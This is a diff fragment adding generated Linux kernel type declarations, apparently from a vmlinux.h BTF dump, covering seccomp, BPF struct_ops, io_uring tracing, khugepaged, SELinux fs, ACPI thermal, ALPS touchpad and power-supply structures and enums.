+struct smca_bank_name { + const char *name; + const char *long_name; +}; + +struct thresh_restart { + struct threshold_block *b; + int reset; + int set_lvt_off; + int lvt_off; + u16 old_limit; +}; + +struct threshold_attr { + struct attribute attr; + ssize_t (*show)(struct threshold_block *, char *); + ssize_t (*store)(struct threshold_block *, const char *, size_t); +}; + +enum auditsc_class_t { + AUDITSC_NATIVE = 0, + AUDITSC_COMPAT = 1, + AUDITSC_OPEN = 2, + AUDITSC_OPENAT = 3, + AUDITSC_SOCKETCALL = 4, + AUDITSC_EXECVE = 5, + AUDITSC_OPENAT2 = 6, + AUDITSC_NVALS = 7, +}; + +struct __kernel_old_itimerval { + struct __kernel_old_timeval it_interval; + struct __kernel_old_timeval it_value; +}; + +struct seccomp_data { + int nr; + __u32 arch; + __u64 instruction_pointer; + __u64 args[6]; +}; + +struct seccomp_notif_sizes { + __u16 seccomp_notif; + __u16 seccomp_notif_resp; + __u16 seccomp_data; +}; + +struct seccomp_notif { + __u64 id; + __u32 pid; + __u32 flags; + struct seccomp_data data; +}; + +struct seccomp_notif_resp { + __u64 id; + __s64 val; + __s32 error; + __u32 flags; +}; + +struct seccomp_notif_addfd { + __u64 id; + __u32 flags; + __u32 srcfd; + __u32 newfd; + __u32 newfd_flags; +}; + +struct action_cache { + long unsigned int allow_native[8]; +}; + +struct notification; + +struct seccomp_filter { + refcount_t refs; + refcount_t users; + bool log; + bool wait_killable_recv; + struct action_cache cache; + struct seccomp_filter *prev; + struct bpf_prog *prog; + struct notification *notif; + struct mutex notify_lock; + wait_queue_head_t wqh; +}; + +enum notify_state { + SECCOMP_NOTIFY_INIT = 0, + SECCOMP_NOTIFY_SENT = 1, + SECCOMP_NOTIFY_REPLIED = 2, +}; + +struct seccomp_knotif { + struct task_struct *task; + u64 id; + const struct seccomp_data *data; + enum notify_state state; + int error; + long int val; + u32 flags; + struct completion ready; + struct list_head list; + struct list_head addfd; +}; + +struct seccomp_kaddfd { + struct file *file; + int fd; + unsigned int flags; + __u32 ioctl_flags; + union { + bool setfd; + int ret; + }; + struct completion completion; + struct list_head list; +}; + +struct notification { + struct semaphore request; + u64 next_id; + struct list_head notifications; +}; + +struct seccomp_log_name { + u32 log; + const char *name; +}; + +struct bpf_dummy_ops { + int (*test_1)(struct bpf_dummy_ops_state *); + int (*test_2)(struct bpf_dummy_ops_state *, int, short unsigned int, char, long unsigned int); + int (*test_sleepable)(struct bpf_dummy_ops_state *); +}; + +enum bpf_struct_ops_state { + BPF_STRUCT_OPS_STATE_INIT = 0, + BPF_STRUCT_OPS_STATE_INUSE = 1, + BPF_STRUCT_OPS_STATE_TOBEFREE = 2, + BPF_STRUCT_OPS_STATE_READY = 3, +}; + +struct bpf_struct_ops_value { + refcount_t refcnt; + enum bpf_struct_ops_state state; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + char data[0]; +}; + +struct bpf_struct_ops_map { + struct bpf_map map; + struct callback_head rcu; + const struct bpf_struct_ops *st_ops; + struct mutex lock; + struct bpf_link **links; + void *image; + struct bpf_struct_ops_value *uvalue; + struct bpf_struct_ops_value kvalue; +}; + +struct bpf_struct_ops_link { + struct bpf_link link; + struct bpf_map *map; +}; + +struct bpf_struct_ops_bpf_dummy_ops { + refcount_t refcnt; + enum bpf_struct_ops_state state; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct bpf_dummy_ops data; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_struct_ops_tcp_congestion_ops { + refcount_t refcnt; + enum bpf_struct_ops_state state; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct tcp_congestion_ops data; +}; + +enum { + BPF_STRUCT_OPS_TYPE_bpf_dummy_ops = 0, + BPF_STRUCT_OPS_TYPE_tcp_congestion_ops = 1, + __NR_BPF_STRUCT_OPS_TYPE = 2, +}; + +struct trace_event_raw_oom_score_adj_update { + struct trace_entry ent; + pid_t pid; + char comm[16]; + short int oom_score_adj; + char __data[0]; +}; + +struct trace_event_raw_reclaim_retry_zone { + struct trace_entry ent; + int node; + int zone_idx; + int order; + long unsigned int reclaimable; + long unsigned int available; + long unsigned int min_wmark; + int no_progress_loops; + bool wmark_check; + char __data[0]; +}; + +struct trace_event_raw_mark_victim { + struct trace_entry ent; + int pid; + char __data[0]; +}; + +struct trace_event_raw_wake_reaper { + struct trace_entry ent; + int pid; + char __data[0]; +}; + +struct trace_event_raw_start_task_reaping { + struct trace_entry ent; + int pid; + char __data[0]; +}; + +struct trace_event_raw_finish_task_reaping { + struct trace_entry ent; + int pid; + char __data[0]; +}; + +struct trace_event_raw_skip_task_reaping { + struct trace_entry ent; + int pid; + char __data[0]; +}; + +struct trace_event_raw_compact_retry { + struct trace_entry ent; + int order; + int priority; + int result; + int retries; + int max_retries; + bool ret; + char __data[0]; +}; + +struct trace_event_data_offsets_oom_score_adj_update {}; + +struct trace_event_data_offsets_reclaim_retry_zone {}; + +struct trace_event_data_offsets_mark_victim {}; + +struct trace_event_data_offsets_wake_reaper {}; + +struct trace_event_data_offsets_start_task_reaping {}; + +struct trace_event_data_offsets_finish_task_reaping {}; + +struct trace_event_data_offsets_skip_task_reaping {}; + +struct trace_event_data_offsets_compact_retry {}; + +typedef void (*btf_trace_oom_score_adj_update)(void *, struct task_struct *); + +typedef void (*btf_trace_reclaim_retry_zone)(void *, struct zoneref *, int, long unsigned int, long unsigned int, long unsigned int, int, bool); + +typedef void (*btf_trace_mark_victim)(void *, int); + +typedef void (*btf_trace_wake_reaper)(void *, int); + +typedef void (*btf_trace_start_task_reaping)(void *, int); + +typedef void (*btf_trace_finish_task_reaping)(void *, int); + +typedef void (*btf_trace_skip_task_reaping)(void *, int); + +typedef void (*btf_trace_compact_retry)(void *, int, enum compact_priority, enum compact_result, int, int, bool); + +typedef struct { + u64 val; +} pfn_t; + +struct zap_details { + struct folio *single_folio; + bool even_cows; + zap_flags_t zap_flags; +}; + +typedef int (*pte_fn_t)(pte_t *, long unsigned int, void *); + +struct copy_subpage_arg { + struct page *dst; + struct page *src; + struct vm_area_struct *vma; +}; + +enum transparent_hugepage_flag { + TRANSPARENT_HUGEPAGE_UNSUPPORTED = 0, + TRANSPARENT_HUGEPAGE_FLAG = 1, + TRANSPARENT_HUGEPAGE_REQ_MADV_FLAG = 2, + TRANSPARENT_HUGEPAGE_DEFRAG_DIRECT_FLAG = 3, + TRANSPARENT_HUGEPAGE_DEFRAG_KSWAPD_FLAG = 4, + TRANSPARENT_HUGEPAGE_DEFRAG_KSWAPD_OR_MADV_FLAG = 5, + TRANSPARENT_HUGEPAGE_DEFRAG_REQ_MADV_FLAG = 6, + TRANSPARENT_HUGEPAGE_DEFRAG_KHUGEPAGED_FLAG = 7, + TRANSPARENT_HUGEPAGE_USE_ZERO_PAGE_FLAG = 8, +}; + +struct mm_slot { + struct hlist_node hash; + struct list_head mm_node; + struct mm_struct *mm; +}; + +enum scan_result { + SCAN_FAIL = 0, + SCAN_SUCCEED = 1, + SCAN_PMD_NULL = 2, + SCAN_PMD_NONE = 3, + SCAN_PMD_MAPPED = 4, + SCAN_EXCEED_NONE_PTE = 5, + SCAN_EXCEED_SWAP_PTE = 6, + SCAN_EXCEED_SHARED_PTE = 7, + SCAN_PTE_NON_PRESENT = 8, + SCAN_PTE_UFFD_WP = 9, + SCAN_PTE_MAPPED_HUGEPAGE = 10, + SCAN_PAGE_RO = 11, + SCAN_LACK_REFERENCED_PAGE = 12, + SCAN_PAGE_NULL = 13, + SCAN_SCAN_ABORT = 14, + SCAN_PAGE_COUNT = 15, + SCAN_PAGE_LRU = 16, + SCAN_PAGE_LOCK = 17, + SCAN_PAGE_ANON = 18, + SCAN_PAGE_COMPOUND = 19, + SCAN_ANY_PROCESS = 20, + SCAN_VMA_NULL = 21, + SCAN_VMA_CHECK = 22, + SCAN_ADDRESS_RANGE = 23, + SCAN_DEL_PAGE_LRU = 24, + SCAN_ALLOC_HUGE_PAGE_FAIL = 25, + SCAN_CGROUP_CHARGE_FAIL = 26, + SCAN_TRUNCATED = 27, + SCAN_PAGE_HAS_PRIVATE = 28, + SCAN_STORE_FAILED = 29, + SCAN_COPY_MC = 30, + SCAN_PAGE_FILLED = 31, +}; + +struct trace_event_raw_mm_khugepaged_scan_pmd { + struct trace_entry ent; + struct mm_struct *mm; + long unsigned int pfn; + bool writable; + int referenced; + int none_or_zero; + int status; + int unmapped; + char __data[0]; +}; + +struct trace_event_raw_mm_collapse_huge_page { + struct trace_entry ent; + struct mm_struct *mm; + int isolated; + int status; + char __data[0]; +}; + +struct trace_event_raw_mm_collapse_huge_page_isolate { + struct trace_entry ent; + long unsigned int pfn; + int none_or_zero; + int referenced; + bool writable; + int status; + char __data[0]; +}; + +struct trace_event_raw_mm_collapse_huge_page_swapin { + struct trace_entry ent; + struct mm_struct *mm; + int swapped_in; + int referenced; + int ret; + char __data[0]; +}; + +struct trace_event_raw_mm_khugepaged_scan_file { + struct trace_entry ent; + struct mm_struct *mm; + long unsigned int pfn; + u32 __data_loc_filename; + int present; + int swap; + int result; + char __data[0]; +}; + +struct trace_event_raw_mm_khugepaged_collapse_file { + struct trace_entry ent; + struct mm_struct *mm; + long unsigned int hpfn; + long unsigned int index; + long unsigned int addr; + bool is_shmem; + u32 __data_loc_filename; + int nr; + int result; + char __data[0]; +}; + +struct trace_event_data_offsets_mm_khugepaged_scan_pmd {}; + +struct trace_event_data_offsets_mm_collapse_huge_page {}; + +struct trace_event_data_offsets_mm_collapse_huge_page_isolate {}; + +struct trace_event_data_offsets_mm_collapse_huge_page_swapin {}; + +struct trace_event_data_offsets_mm_khugepaged_scan_file { + u32 filename; +}; + +struct trace_event_data_offsets_mm_khugepaged_collapse_file { + u32 filename; +}; + +typedef void (*btf_trace_mm_khugepaged_scan_pmd)(void *, struct mm_struct *, struct page *, bool, int, int, int, int); + +typedef void (*btf_trace_mm_collapse_huge_page)(void *, struct mm_struct *, int, int); + +typedef void (*btf_trace_mm_collapse_huge_page_isolate)(void *, struct page *, int, int, bool, int); + +typedef void (*btf_trace_mm_collapse_huge_page_swapin)(void *, struct mm_struct *, int, int, int); + +typedef void (*btf_trace_mm_khugepaged_scan_file)(void *, struct mm_struct *, struct page *, struct file *, int, int, int); + +typedef void (*btf_trace_mm_khugepaged_collapse_file)(void *, struct mm_struct *, struct page *, long unsigned int, bool, long unsigned int, struct file *, int, int); + +struct collapse_control { + bool is_khugepaged; + u32 node_load[64]; + nodemask_t alloc_nmask; +}; + +struct khugepaged_mm_slot { + struct mm_slot slot; + int nr_pte_mapped_thp; + long unsigned int pte_mapped_thp[8]; +}; + +struct khugepaged_scan { + struct list_head mm_head; + struct khugepaged_mm_slot *mm_slot; + long unsigned int address; +}; + +struct mount_attr { + __u64 attr_set; + __u64 attr_clr; + __u64 propagation; + __u64 userns_fd; +}; + +struct proc_mounts { + struct mnt_namespace *ns; + struct path root; + int (*show)(struct seq_file *, struct vfsmount *); + struct mount cursor; +}; + +struct mount_kattr { + unsigned int attr_set; + unsigned int attr_clr; + unsigned int propagation; + unsigned int lookup_flags; + bool recurse; + struct user_namespace *mnt_userns; + struct mnt_idmap *mnt_idmap; +}; + +enum umount_tree_flags { + UMOUNT_SYNC = 1, + UMOUNT_PROPAGATE = 2, + UMOUNT_CONNECTED = 4, +}; + +struct eventfd_ctx { + struct kref kref; + wait_queue_head_t wqh; + __u64 count; + unsigned int flags; + int id; +}; + +enum sel_inos { + SEL_ROOT_INO = 2, + SEL_LOAD = 3, + SEL_ENFORCE = 4, + SEL_CONTEXT = 5, + SEL_ACCESS = 6, + SEL_CREATE = 7, + SEL_RELABEL = 8, + SEL_USER = 9, + SEL_POLICYVERS = 10, + SEL_COMMIT_BOOLS = 11, + SEL_MLS = 12, + SEL_DISABLE = 13, + SEL_MEMBER = 14, + SEL_CHECKREQPROT = 15, + SEL_COMPAT_NET = 16, + SEL_REJECT_UNKNOWN = 17, + SEL_DENY_UNKNOWN = 18, + SEL_STATUS = 19, + SEL_POLICY = 20, + SEL_VALIDATE_TRANS = 21, + SEL_INO_NEXT = 22, +}; + +struct selinux_fs_info { + struct dentry *bool_dir; + unsigned int bool_num; + char **bool_pending_names; + int *bool_pending_values; + struct dentry *class_dir; + long unsigned int last_class_ino; + bool policy_opened; + struct dentry *policycap_dir; + long unsigned int last_ino; + struct super_block *sb; +}; + +struct policy_load_memory { + size_t len; + void *data; +}; + +struct chksum_desc_ctx___2 { + __u16 crc; +}; + +struct io_sqring_offsets { + __u32 head; + __u32 tail; + __u32 ring_mask; + __u32 ring_entries; + __u32 flags; + __u32 dropped; + __u32 array; + __u32 resv1; + __u64 resv2; +}; + +struct io_cqring_offsets { + __u32 head; + __u32 tail; + __u32 ring_mask; + __u32 ring_entries; + __u32 overflow; + __u32 cqes; + __u32 flags; + __u32 resv1; + __u64 resv2; +}; + +struct io_uring_params { + __u32 sq_entries; + __u32 cq_entries; + __u32 flags; + __u32 sq_thread_cpu; + __u32 sq_thread_idle; + __u32 features; + __u32 wq_fd; + __u32 resv[3]; + struct io_sqring_offsets sq_off; + struct io_cqring_offsets cq_off; +}; + +struct io_uring_probe_op { + __u8 op; + __u8 resv; + __u16 flags; + __u32 resv2; +}; + +struct io_uring_probe { + __u8 last_op; + __u8 ops_len; + __u16 resv; + __u32 resv2[3]; + struct io_uring_probe_op ops[0]; +}; + +struct io_uring_restriction { + __u16 opcode; + union { + __u8 register_op; + __u8 sqe_op; + __u8 sqe_flags; + }; + __u8 resv; + __u32 resv2[3]; +}; + +enum { + IORING_RESTRICTION_REGISTER_OP = 0, + IORING_RESTRICTION_SQE_OP = 1, + IORING_RESTRICTION_SQE_FLAGS_ALLOWED = 2, + IORING_RESTRICTION_SQE_FLAGS_REQUIRED = 3, + IORING_RESTRICTION_LAST = 4, +}; + +struct io_uring_getevents_arg { + __u64 sigmask; + __u32 sigmask_sz; + __u32 pad; + __u64 ts; +}; + +struct trace_event_raw_io_uring_create { + struct trace_entry ent; + int fd; + void *ctx; + u32 sq_entries; + u32 cq_entries; + u32 flags; + char __data[0]; +}; + +struct trace_event_raw_io_uring_register { + struct trace_entry ent; + void *ctx; + unsigned int opcode; + unsigned int nr_files; + unsigned int nr_bufs; + long int ret; + char __data[0]; +}; + +struct trace_event_raw_io_uring_file_get { + struct trace_entry ent; + void *ctx; + void *req; + u64 user_data; + int fd; + char __data[0]; +}; + +struct trace_event_raw_io_uring_queue_async_work { + struct trace_entry ent; + void *ctx; + void *req; + u64 user_data; + u8 opcode; + unsigned int flags; + struct io_wq_work *work; + int rw; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_defer { + struct trace_entry ent; + void *ctx; + void *req; + long long unsigned int data; + u8 opcode; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_link { + struct trace_entry ent; + void *ctx; + void *req; + void *target_req; + char __data[0]; +}; + +struct trace_event_raw_io_uring_cqring_wait { + struct trace_entry ent; + void *ctx; + int min_events; + char __data[0]; +}; + +struct trace_event_raw_io_uring_fail_link { + struct trace_entry ent; + void *ctx; + void *req; + long long unsigned int user_data; + u8 opcode; + void *link; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_complete { + struct trace_entry ent; + void *ctx; + void *req; + u64 user_data; + int res; + unsigned int cflags; + u64 extra1; + u64 extra2; + char __data[0]; +}; + +struct trace_event_raw_io_uring_submit_req { + struct trace_entry ent; + void *ctx; + void *req; + long long unsigned int user_data; + u8 opcode; + u32 flags; + bool sq_thread; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_poll_arm { + struct trace_entry ent; + void *ctx; + void *req; + long long unsigned int user_data; + u8 opcode; + int mask; + int events; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_task_add { + struct trace_entry ent; + void *ctx; + void *req; + long long unsigned int user_data; + u8 opcode; + int mask; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_req_failed { + struct trace_entry ent; + void *ctx; + void *req; + long long unsigned int user_data; + u8 opcode; + u8 flags; + u8 ioprio; + u64 off; + u64 addr; + u32 len; + u32 op_flags; + u16 buf_index; + u16 personality; + u32 file_index; + u64 pad1; + u64 addr3; + int error; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_cqe_overflow { + struct trace_entry ent; + void *ctx; + long long unsigned int user_data; + s32 res; + u32 cflags; + void *ocqe; + char __data[0]; +}; + +struct trace_event_raw_io_uring_task_work_run { + struct trace_entry ent; + void *tctx; + unsigned int count; + unsigned int loops; + char __data[0]; +}; + +struct trace_event_raw_io_uring_short_write { + struct trace_entry ent; + void *ctx; + u64 fpos; + u64 wanted; + u64 got; + char __data[0]; +}; + +struct trace_event_raw_io_uring_local_work_run { + struct trace_entry ent; + void *ctx; + int count; + unsigned int loops; + char __data[0]; +}; + +struct trace_event_data_offsets_io_uring_create {}; + +struct trace_event_data_offsets_io_uring_register {}; + +struct trace_event_data_offsets_io_uring_file_get {}; + +struct trace_event_data_offsets_io_uring_queue_async_work { + u32 op_str; +}; + +struct trace_event_data_offsets_io_uring_defer { + u32 op_str; +}; + +struct trace_event_data_offsets_io_uring_link {}; + +struct trace_event_data_offsets_io_uring_cqring_wait {}; + +struct trace_event_data_offsets_io_uring_fail_link { + u32 op_str; +}; + +struct trace_event_data_offsets_io_uring_complete {}; + +struct trace_event_data_offsets_io_uring_submit_req { + u32 op_str; +}; + +struct trace_event_data_offsets_io_uring_poll_arm { + u32 op_str; +}; + +struct trace_event_data_offsets_io_uring_task_add { + u32 op_str; +}; + +struct trace_event_data_offsets_io_uring_req_failed { + u32 op_str; +}; + +struct trace_event_data_offsets_io_uring_cqe_overflow {}; + +struct trace_event_data_offsets_io_uring_task_work_run {}; + +struct trace_event_data_offsets_io_uring_short_write {}; + +struct trace_event_data_offsets_io_uring_local_work_run {}; + +typedef void (*btf_trace_io_uring_create)(void *, int, void *, u32, u32, u32); + +typedef void (*btf_trace_io_uring_register)(void *, void *, unsigned int, unsigned int, unsigned int, long int); + +typedef void (*btf_trace_io_uring_file_get)(void *, struct io_kiocb *, int); + +typedef void (*btf_trace_io_uring_queue_async_work)(void *, struct io_kiocb *, int); + +typedef void (*btf_trace_io_uring_defer)(void *, struct io_kiocb *); + +typedef void (*btf_trace_io_uring_link)(void *, struct io_kiocb *, struct io_kiocb *); + +typedef void (*btf_trace_io_uring_cqring_wait)(void *, void *, int); + +typedef void (*btf_trace_io_uring_fail_link)(void *, struct io_kiocb *, struct io_kiocb *); + +typedef void (*btf_trace_io_uring_complete)(void *, void *, void *, u64, int, unsigned int, u64, u64); + +typedef void (*btf_trace_io_uring_submit_req)(void *, struct io_kiocb *); + +typedef void (*btf_trace_io_uring_poll_arm)(void *, struct io_kiocb *, int, int); + +typedef void (*btf_trace_io_uring_task_add)(void *, struct io_kiocb *, int); + +typedef void (*btf_trace_io_uring_req_failed)(void *, const struct io_uring_sqe *, struct io_kiocb *, int); + +typedef void (*btf_trace_io_uring_cqe_overflow)(void *, void *, long long unsigned int, s32, u32, void *); + +typedef void (*btf_trace_io_uring_task_work_run)(void *, void *, unsigned int, unsigned int); + +typedef void (*btf_trace_io_uring_short_write)(void *, void *, u64, u64, u64); + +typedef void (*btf_trace_io_uring_local_work_run)(void *, void *, int, unsigned int); + +enum { + IO_WQ_WORK_CANCEL = 1, + IO_WQ_WORK_HASHED = 2, + IO_WQ_WORK_UNBOUND = 4, + IO_WQ_WORK_CONCURRENT = 16, + IO_WQ_HASH_SHIFT = 24, +}; + +enum { + IO_APOLL_OK = 0, + IO_APOLL_ABORTED = 1, + IO_APOLL_READY = 2, +}; + +enum { + IO_CHECK_CQ_OVERFLOW_BIT = 0, + IO_CHECK_CQ_DROPPED_BIT = 1, +}; + +enum { + IO_EVENTFD_OP_SIGNAL_BIT = 0, + IO_EVENTFD_OP_FREE_BIT = 1, +}; + +struct io_defer_entry { + struct list_head list; + struct io_kiocb *req; + u32 seq; +}; + +struct io_wait_queue { + struct wait_queue_entry wq; + struct io_ring_ctx *ctx; + unsigned int cq_tail; + unsigned int nr_timeouts; + ktime_t timeout; +}; + +struct io_tctx_exit { + struct callback_head task_work; + struct completion completion; + struct io_ring_ctx *ctx; +}; + +struct io_task_cancel { + struct task_struct *task; + bool all; +}; + +struct creds; + +struct vga_device { + struct list_head list; + struct pci_dev *pdev; + unsigned int decodes; + unsigned int owns; + unsigned int locks; + unsigned int io_lock_cnt; + unsigned int mem_lock_cnt; + unsigned int io_norm_cnt; + unsigned int mem_norm_cnt; + bool bridge_has_one_vga; + bool is_firmware_default; + unsigned int (*set_decode)(struct pci_dev *, bool); +}; + +struct vga_arb_user_card { + struct pci_dev *pdev; + unsigned int mem_cnt; + unsigned int io_cnt; +}; + +struct vga_arb_private { + struct list_head list; + struct pci_dev *target; + struct vga_arb_user_card cards[16]; + spinlock_t lock; +}; + +typedef acpi_status (*acpi_repair_function)(struct acpi_evaluate_info *, union acpi_operand_object **); + +struct acpi_repair_info { + char name[4]; + acpi_repair_function repair_function; +}; + +struct acpi_thermal_state { + u8 critical: 1; + u8 hot: 1; + u8 passive: 1; + u8 active: 1; + u8 reserved: 4; + int active_index; +}; + +struct acpi_thermal_state_flags { + u8 valid: 1; + u8 enabled: 1; + u8 reserved: 6; +}; + +struct acpi_thermal_critical { + struct acpi_thermal_state_flags flags; + long unsigned int temperature; +}; + +struct acpi_thermal_hot { + struct acpi_thermal_state_flags flags; + long unsigned int temperature; +}; + +struct acpi_thermal_passive { + struct acpi_thermal_state_flags flags; + long unsigned int temperature; + long unsigned int tc1; + long unsigned int tc2; + long unsigned int tsp; + struct acpi_handle_list devices; +}; + +struct acpi_thermal_active { + struct acpi_thermal_state_flags flags; + long unsigned int temperature; + struct acpi_handle_list devices; +}; + +struct acpi_thermal_trips { + struct acpi_thermal_critical critical; + struct acpi_thermal_hot hot; + struct acpi_thermal_passive passive; + struct acpi_thermal_active active[10]; +}; + +struct acpi_thermal_flags { + u8 cooling_mode: 1; + u8 devices: 1; + u8 reserved: 6; +}; + +struct acpi_thermal { + struct acpi_device *device; + acpi_bus_id name; + long unsigned int temperature; + long unsigned int last_temperature; + long unsigned int polling_frequency; + volatile u8 zombie; + struct acpi_thermal_flags flags; + struct acpi_thermal_state state; + struct acpi_thermal_trips trips; + struct acpi_handle_list devices; + struct thermal_zone_device *thermal_zone; + int kelvin_offset; + struct work_struct thermal_check_work; + struct mutex thermal_check_lock; + refcount_t thermal_check_count; +}; + +struct component_ops { + int (*bind)(struct device *, struct device *, void *); + void (*unbind)(struct device *, struct device *, void *); +}; + +struct component_master_ops { + int (*bind)(struct device *); + void (*unbind)(struct device *); +}; + +struct component; + +struct component_match_array { + void *data; + int (*compare)(struct device *, void *); + int (*compare_typed)(struct device *, int, void *); + void (*release)(struct device *, void *); + struct component *component; + bool duplicate; +}; + +struct aggregate_device; + +struct component { + struct list_head node; + struct aggregate_device *adev; + bool bound; + const struct component_ops *ops; + int subcomponent; + struct device *dev; +}; + +struct component_match { + size_t alloc; + size_t num; + struct component_match_array *compare; +}; + +struct aggregate_device { + struct list_head node; + bool bound; + const struct component_master_ops *ops; + struct device *parent; + struct component_match *match; +}; + +typedef int (*pm_callback_t)(struct device *); + +struct nsim_dev_dummy_reporter_ctx { + char *break_msg; +}; + +enum SS4_PACKET_ID { + SS4_PACKET_ID_IDLE = 0, + SS4_PACKET_ID_ONE = 1, + SS4_PACKET_ID_TWO = 2, + SS4_PACKET_ID_MULTI = 3, + SS4_PACKET_ID_STICK = 4, +}; + +enum V7_PACKET_ID { + V7_PACKET_ID_IDLE = 0, + V7_PACKET_ID_TWO = 1, + V7_PACKET_ID_MULTI = 2, + V7_PACKET_ID_NEW = 3, + V7_PACKET_ID_UNKNOWN = 4, +}; + +struct alps_protocol_info { + u16 version; + u8 byte0; + u8 mask0; + unsigned int flags; +}; + +struct alps_model_info { + u8 signature[3]; + struct alps_protocol_info protocol_info; +}; + +struct alps_nibble_commands { + int command; + unsigned char data; +}; + +struct alps_bitmap_point { + int start_bit; + int num_bits; +}; + +struct alps_fields { + unsigned int x_map; + unsigned int y_map; + unsigned int fingers; + int pressure; + struct input_mt_pos st; + struct input_mt_pos mt[4]; + unsigned int first_mp: 1; + unsigned int is_mp: 1; + unsigned int left: 1; + unsigned int right: 1; + unsigned int middle: 1; + unsigned int ts_left: 1; + unsigned int ts_right: 1; + unsigned int ts_middle: 1; +}; + +struct alps_data { + struct psmouse *psmouse; + struct input_dev *dev2; + struct input_dev *dev3; + char phys2[32]; + char phys3[32]; + struct delayed_work dev3_register_work; + const struct alps_nibble_commands *nibble_commands; + int addr_command; + u16 proto_version; + u8 byte0; + u8 mask0; + u8 dev_id[3]; + u8 fw_ver[3]; + int flags; + int x_max; + int y_max; + int x_bits; + int y_bits; + unsigned int x_res; + unsigned int y_res; + int (*hw_init)(struct psmouse *); + void (*process_packet)(struct psmouse *); + int (*decode_fields)(struct alps_fields *, unsigned char *, struct psmouse *); + void (*set_abs_params)(struct alps_data *, struct input_dev *); + int prev_fin; + int multi_packet; + int second_touch; + unsigned char multi_data[6]; + struct alps_fields f; + u8 quirks; + struct timer_list timer; +}; + +enum { + POWER_SUPPLY_CHARGE_TYPE_UNKNOWN = 0, + POWER_SUPPLY_CHARGE_TYPE_NONE = 1, + POWER_SUPPLY_CHARGE_TYPE_TRICKLE = 2, + POWER_SUPPLY_CHARGE_TYPE_FAST = 3, + POWER_SUPPLY_CHARGE_TYPE_STANDARD = 4, + POWER_SUPPLY_CHARGE_TYPE_ADAPTIVE = 5, + POWER_SUPPLY_CHARGE_TYPE_CUSTOM = 6, + POWER_SUPPLY_CHARGE_TYPE_LONGLIFE = 7, + POWER_SUPPLY_CHARGE_TYPE_BYPASS = 8, +}; + +enum { + POWER_SUPPLY_HEALTH_UNKNOWN = 0, + POWER_SUPPLY_HEALTH_GOOD = 1, + POWER_SUPPLY_HEALTH_OVERHEAT = 2, + POWER_SUPPLY_HEALTH_DEAD = 3, + POWER_SUPPLY_HEALTH_OVERVOLTAGE = 4, + POWER_SUPPLY_HEALTH_UNSPEC_FAILURE = 5, + POWER_SUPPLY_HEALTH_COLD = 6, + POWER_SUPPLY_HEALTH_WATCHDOG_TIMER_EXPIRE = 7, + POWER_SUPPLY_HEALTH_SAFETY_TIMER_EXPIRE = 8, + POWER_SUPPLY_HEALTH_OVERCURRENT = 9, + POWER_SUPPLY_HEALTH_CALIBRATION_REQUIRED = 10, + POWER_SUPPLY_HEALTH_WARM = 11, + POWER_SUPPLY_HEALTH_COOL = 12, + POWER_SUPPLY_HEALTH_HOT = 13, + POWER_SUPPLY_HEALTH_NO_BATTERY = 14, +}; + +enum { + POWER_SUPPLY_SCOPE_UNKNOWN = 0, + POWER_SUPPLY_SCOPE_SYSTEM = 1, + POWER_SUPPLY_SCOPE_DEVICE = 2, +}; + +enum power_supply_charge_behaviour { + POWER_SUPPLY_CHARGE_BEHAVIOUR_AUTO = 0, + POWER_SUPPLY_CHARGE_BEHAVIOUR_INHIBIT_CHARGE = 1, + POWER_SUPPLY_CHARGE_BEHAVIOUR_FORCE_DISCHARGE = 2, +}; + +struct power_supply_attr { + const char *prop_name; + char attr_name[31]; + struct device_attribute dev_attr; + const char * const *text_values; + int text_values_len; +}; + +struct linger { + int l_onoff; + int l_linger; +}; + +struct so_timestamping { + int flags; + int bind_phc; +}; + +enum txtime_flags { + SOF_TXTIME_DEADLINE_MODE = 1, + SOF_TXTIME_REPORT_ERRORS = 2, + SOF_TXTIME_FLAGS_LAST = 2, + SOF_TXTIME_FLAGS_MASK = 3, +}; + +struct sock_txtime { + __kernel_clockid_t clockid; + __u32 flags; +}; + +struct channels_reply_data { + struct ethnl_reply_data base; + struct ethtool_channels channels; +}; + +struct nf_ct_helper_expectfn { + struct list_head head; + const char *name; + void (*expectfn)(struct nf_conn *, struct nf_conntrack_expect *); +}; + +struct nf_conntrack_nat_helper { + struct list_head list; + char mod_name[16]; + struct module *module; +}; + +struct rta_mfc_stats { + __u64 mfcs_packets; + __u64 mfcs_bytes; + __u64 mfcs_wrong_if; +}; + +typedef u64 (*btf_bpf_tcp_send_ack)(struct tcp_sock *, u32); + +enum { + IP6_FH_F_FRAG = 1, + IP6_FH_F_AUTH = 2, + IP6_FH_F_SKIP_RH = 4, +}; + +enum { + NLBL_MGMT_C_UNSPEC = 0, + NLBL_MGMT_C_ADD = 1, + NLBL_MGMT_C_REMOVE = 2, + NLBL_MGMT_C_LISTALL = 3, + NLBL_MGMT_C_ADDDEF = 4, + NLBL_MGMT_C_REMOVEDEF = 5, + NLBL_MGMT_C_LISTDEF = 6, + NLBL_MGMT_C_PROTOCOLS = 7, + NLBL_MGMT_C_VERSION = 8, + __NLBL_MGMT_C_MAX = 9, +}; + +enum { + NLBL_MGMT_A_UNSPEC = 0, + NLBL_MGMT_A_DOMAIN = 1, + NLBL_MGMT_A_PROTOCOL = 2, + NLBL_MGMT_A_VERSION = 3, + NLBL_MGMT_A_CV4DOI = 4, + NLBL_MGMT_A_IPV6ADDR = 5, + NLBL_MGMT_A_IPV6MASK = 6, + NLBL_MGMT_A_IPV4ADDR = 7, + NLBL_MGMT_A_IPV4MASK = 8, + NLBL_MGMT_A_ADDRSELECTOR = 9, + NLBL_MGMT_A_SELECTORLIST = 10, + NLBL_MGMT_A_FAMILY = 11, + NLBL_MGMT_A_CLPDOI = 12, + __NLBL_MGMT_A_MAX = 13, +}; + +struct netlbl_domhsh_walk_arg { + struct netlink_callback *nl_cb; + struct sk_buff *skb; + u32 seq; +}; + 